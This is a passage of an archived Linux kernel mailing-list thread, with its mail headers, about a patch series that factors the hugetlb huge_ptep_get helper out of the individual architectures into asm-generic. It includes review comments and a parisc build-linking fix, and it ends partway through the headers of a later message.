 Thu, 26 Jul 2018 19:13:55 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 12:13:55 -0700
In-Reply-To: <20180705110716.3919-12-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8966
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=929
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260197
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_121646_357564_5FF294F7 
X-CRM114-Status: GOOD (  23.96  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [141.146.126.79 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666290 gmane.linux.kernel:2831702 gmane.linux.ports.ia64:28974 gmane.linux.ports.mips.general:65690 gmane.linux.ports.parisc:28836 gmane.linux.ports.ppc64.devel:160481 gmane.linux.ports.sh.devel:57271 gmane.linux.ports.sparc:28132 gmane.linux.kernel.cross-arch:45509
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666290>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> ia64, mips, parisc, powerpc, sh, sparc, x86 architectures use the
> same version of huge_ptep_get, so move this generic implementation into
> asm-generic/hugetlb.h.
> 

Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
-- 
Mike Kravetz

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb-3level.h | 1 +
>  arch/arm64/include/asm/hugetlb.h      | 1 +
>  arch/ia64/include/asm/hugetlb.h       | 5 -----
>  arch/mips/include/asm/hugetlb.h       | 5 -----
>  arch/parisc/include/asm/hugetlb.h     | 5 -----
>  arch/powerpc/include/asm/hugetlb.h    | 5 -----
>  arch/sh/include/asm/hugetlb.h         | 5 -----
>  arch/sparc/include/asm/hugetlb.h      | 5 -----
>  arch/x86/include/asm/hugetlb.h        | 5 -----
>  include/asm-generic/hugetlb.h         | 7 +++++++
>  10 files changed, 9 insertions(+), 35 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index 54e4b097b1f5..0d9f3918fa7e 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -29,6 +29,7 @@
>   * ptes.
>   * (The valid bit is automatically cleared by set_pte_at for PROT_NONE ptes).
>   */
> +#define __HAVE_ARCH_HUGE_PTEP_GET
>  static inline pte_t huge_ptep_get(pte_t *ptep)
>  {
>  	pte_t retval = *ptep;
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 80887abcef7f..fb6609875455 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -20,6 +20,7 @@
>  
>  #include <asm/page.h>
>  
> +#define __HAVE_ARCH_HUGE_PTEP_GET
>  static inline pte_t huge_ptep_get(pte_t *ptep)
>  {
>  	return READ_ONCE(*ptep);
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index e9b42750fdf5..36cc0396b214 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -27,11 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline pte_t huge_ptep_get(pte_t *ptep)
> -{
> -	return *ptep;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 120adc3b2ffd..425bb6fc3bda 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -82,11 +82,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  	return changed;
>  }
>  
> -static inline pte_t huge_ptep_get(pte_t *ptep)
> -{
> -	return *ptep;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 165b4e5a6f32..7cb595dcb7d7 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -48,11 +48,6 @@ int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty);
>  
> -static inline pte_t huge_ptep_get(pte_t *ptep)
> -{
> -	return *ptep;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 658bf7136a3c..33a2d9e3ea9e 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -142,11 +142,6 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  				      unsigned long addr, pte_t *ptep,
>  				      pte_t pte, int dirty);
>  
> -static inline pte_t huge_ptep_get(pte_t *ptep)
> -{
> -	return *ptep;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index c87195ae0cfa..6f025fe18146 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -32,11 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline pte_t huge_ptep_get(pte_t *ptep)
> -{
> -	return *ptep;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  	clear_bit(PG_dcache_clean, &page->flags);
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 028a1465fbe7..3963f80d1cb3 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -53,11 +53,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  	return changed;
>  }
>  
> -static inline pte_t huge_ptep_get(pte_t *ptep)
> -{
> -	return *ptep;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 1df8944904c6..c97b34a29054 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -12,11 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> -static inline pte_t huge_ptep_get(pte_t *ptep)
> -{
> -	return *ptep;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  }
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index f3c99a03ee83..71d7b77eea50 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -119,4 +119,11 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGE_PTEP_GET
> +static inline pte_t huge_ptep_get(pte_t *ptep)
> +{
> +	return *ptep;
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Thu, 26 Jul 2018 12:16:29 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <99473e0d-12d8-bbea-fe9c-4e3738ab7f5a@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <75195a7d-3d0f-4e55-92cc-4ad772683c75@oracle.com>
 <87tvomgqyv.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532632558 14818 195.159.176.226 (26 Jul 2018 19:15:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:15:58 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        "Aneesh Kumar K . V" <aneesh.kumar@linux.ibm.com>
To: Michael Ellerman <mpe@ellerman.id.au>, Alex Ghiti <alex@ghiti.fr>,
        Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 21:15:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1filjq-0003i7-HG
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 21:15:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731441AbeGZUgL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 16:36:11 -0400
Original-Received: from userp2120.oracle.com ([156.151.31.85]:39610 "EHLO
        userp2120.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730221AbeGZUgL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 16:36:11 -0400
Original-Received: from pps.filterd (userp2120.oracle.com [127.0.0.1])
        by userp2120.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QJE7pM113190;
        Thu, 26 Jul 2018 19:16:38 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com; h=subject : to : cc :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=D69gkHeYvmhKO4ZANgYQmQAzMPEes3s0R7ceWSvjdLE=;
 b=HKoISWRimouAbl8hUd3k4zoHHPxK8A1nZtJ0TZAAJx4GWke7FexLsWkuCCoUmsNWPzZI
 VE4IDW+TuAmH+a0nXfYIG+H5Q5CYKtI/vVBD9TSTHUAeSLli04rznT9Imx1tquaCvYw1
 qZXwoq8OUNT0dPcx+62Pcimv4gWbOM0zPgtAnVMH7NRhrt6LSKicJaXUccYS2zdrnN8y
 s7vhTy327lAMebz2Whmh85ZlaTFlMrQjw72sEMXm4vNUZiOR3Js1vYkfqJhSIkQyxPQU
 FlYXoYdrsh49qn4HokoL/+1zmea68oKfGEMf16E8z1XP9OY2bQc/IilmItvBUif/gdCZ cg== 
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by userp2120.oracle.com with ESMTP id 2kbwfq4f8h-1
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 26 Jul 2018 19:16:38 +0000
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJGbGx000510
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 26 Jul 2018 19:16:37 GMT
Original-Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13])
        by aserv0121.oracle.com (8.14.4/8.13.8) with ESMTP id w6QJGZ4x016078;
        Thu, 26 Jul 2018 19:16:35 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 26 Jul 2018 12:16:35 -0700
In-Reply-To: <87tvomgqyv.fsf@concordia.ellerman.id.au>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8966 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=629
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260197
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831703 gmane.linux.ports.arm.kernel:666291 gmane.linux.ports.ia64:28975 gmane.linux.ports.mips.general:65691 gmane.linux.ports.parisc:28837 gmane.linux.ports.ppc64.devel:160482 gmane.linux.ports.sh.devel:57272 gmane.linux.ports.sparc:28133 gmane.linux.kernel.cross-arch:45510
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831703>

On 07/26/2018 04:46 AM, Michael Ellerman wrote:
> Mike Kravetz <mike.kravetz@oracle.com> writes:
> 
>> On 07/20/2018 11:37 AM, Alex Ghiti wrote:
>>> Does anyone have any suggestion about those patches ?
>>
>> I only took a quick look.  From the hugetlb perspective, I like the
>> idea of moving routines to a common file.  If any of the arch owners
>> (or anyone else) agree, I can do a review of the series.
> 
> The conversions look pretty good to me. If you want to give it a review
> then from my point of view it could go in -mm to shake out any bugs.

Nothing of significance found in a review.  As others have suggested,
the (cross)compiler may be better at finding issues than human eyes.

I also suggest it be added to -mm.
-- 
Mike Kravetz


From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Thu, 26 Jul 2018 23:08:13 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <91e66af2-9f59-624e-6839-eeadb47b9bee@gmx.de>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <87d0vehx16.fsf@concordia.ellerman.id.au>
 <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
 <20180726125940.GA15033@ls3530>
 <de188e2f-99ab-53fa-20df-4fec00a935e9@ghiti.fr>
 <6ec7c5dc-feb1-86ff-b7d9-7794c92eaf0f@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1532639290 15918 195.159.176.226 (26 Jul 2018 21:08:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 21:08:10 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Michael Ellerman <mpe@ellerman.id.au>,
        Michal Hocko <mhocko@kernel.org>, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Krav
To: Alex Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 23:08:03 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1finUR-00040K-5W
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 23:08:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731586AbeGZW2s (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 18:28:48 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:32833 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1730402AbeGZW2r (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 18:28:47 -0400
Original-Received: from [192.168.20.60] ([92.116.181.115]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MQiVh-1fZChp3Bcb-00Tyc9; Thu, 26
 Jul 2018 23:08:25 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <6ec7c5dc-feb1-86ff-b7d9-7794c92eaf0f@ghiti.fr>
Content-Language: en-US
X-Provags-ID: V03:K1:lx7/42WCXkUxJ1tcDGk55ahiOOjEn8MpWO4JQW/7OzyygKvPh+j
 icggxuN9uheEXwoTA68muLmVvpeBV2oJAmt5P0A034FfYi6eH0C+gJRL1KzbzGjsk3g88WR
 yGn2sA9O1qyFzuiNaTQEpgv0g8ZIQonJEUdWarUmOZCUxHSeTdRuaYxC7vX3VJjip4TRBIw
 N/gcSoif0Y4VlWdxKTpfA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:AXm+gX+ViyY=:9DAt0GtGjKTgUorFQiZS3e
 fZjtUs7tD94ADOvtQTq3m43Xpx/BwiIl+jlNKGOg3RiiPJkhHirXCihKTnXisDq0pSPcoLHWX
 w0tWsQ1aMFK5eKEn2zVkt5ZrTDd1VW2FeS/bvf6G8hbWyeKVrgXrVtkGYNRgTaVx+9nLk23Z3
 xgB+gfoueM1vJ/n7Zg3RvzHITmkHEkkAPcX6BHpBY/DdXcj0ScVtdqK5qNXTB/yEvdCp7d7da
 lWiQ0yfgmApFtjgDu/sM07QA0mDM5WvUmk7f8Ny1w6jqCCrLyNTp6B/Uiuh1lf/V+GXngKv/j
 xyLbkScuajPYZFa9Hae6s9o9CBzpOdQJ9ms8WyCsMVLxCHvyYkj+YB6fu8Ey1ROr9IRIeMJxj
 z0phX/aUKrC8slJ4m/r5URzaAoh41E6BgnIpIoirxZXwmdSUG1VffZa5TzMyfNsDj9BI0A+G/
 V/uZ1xs/evVRcBhfeXvRc7Qo1DMk+IU45WjoujKnU0vhbfHvlkFWMKzDUbw536M7t+1O/DDlR
 h3J1NMmh34ObFT7L26FxxUIP4hK87j3i0pX8tjf5++Unm4ShlD8KiJB1ZGFVvdngQoOiz61Xr
 EMokKsHmT8sIEZ6tBaT4jwVSqxbHJzbptQl215xMrHvlhJLKFrmv+JvoSk5psecIVQp/gNCcb
 +U8SBob0T/pVrADjB8W8+6mC3gR5Z+kue1LSzqEhfrvuhqZp8EZl5v/TJqjQNdZMoLeO8NFcW
 yWK+oPx3lz5XBMe5wG+Xok+TSPVA55OSRK/PXXVX0SWa/ugoCVbzAFmAHnCqzj8BK2Z2hmSN 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831772 gmane.linux.ports.arm.kernel:666311 gmane.linux.ports.ia64:28976 gmane.linux.ports.mips.general:65694 gmane.linux.ports.parisc:28838 gmane.linux.ports.ppc64.devel:160483 gmane.linux.ports.sh.devel:57274 gmane.linux.ports.sparc:28134 gmane.linux.kernel.cross-arch:45511
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831772>

Hi Alex,

On 26.07.2018 21:13, Alex Ghiti wrote:
> $ make ARCH=parisc O=build_parisc generic-64bit_defconfig
> $ PATH=/home/alex/wip/toolchain/gcc-8.1.0-nolibc/hppa64-linux/bin:$PATH make ARCH=parisc CROSS_COMPILE=hppa64-linux-
> 
>> ...
>> LD vmlinux.o
>> MODPOST vmlinux.o
>> hppa64-linux-ld: init/main.o(.text+0x98): cannot reach strreplace
>> init/main.o: In function `initcall_blacklisted':
>> init/.tmp_main.o:(.text+0x98): relocation truncated to fit: R_PARISC_PCREL22F against symbol `strreplace' defined in .text section in lib/string.o
>> hppa64-linux-ld: init/main.o(.text+0xbc): cannot reach strcmp

In order to be able to link vmlinux, we need to enable 
CONFIG_MLONGCALLS=y in the defconfig.

Nevertheless, I see some modversion issues too which I still need 
to analyze (but that's a completely off-topic issue here).

Helge


From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Fri, 27 Jul 2018 08:51:51 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <a6d158b6-965d-7473-677d-13a9b7d46ba1@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <75195a7d-3d0f-4e55-92cc-4ad772683c75@oracle.com>
 <87tvomgqyv.fsf@concordia.ellerman.id.au>
 <99473e0d-12d8-bbea-fe9c-4e3738ab7f5a@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532674245 26183 195.159.176.226 (27 Jul 2018 06:50:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 27 Jul 2018 06:50:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        "Aneesh Kumar K . V" <aneesh.kumar@linux.ibm.com>
To: Mike Kravetz <mike.kravetz@oracle.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jul 27 08:50:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fiwa9-0006Zo-GV
	for glk-linux-kernel-4@m.gmane.org; Fri, 27 Jul 2018 08:50:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729889AbeG0INI (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 27 Jul 2018 04:13:08 -0400
Original-Received: from relay7-d.mail.gandi.net ([217.70.183.200]:59317 "EHLO
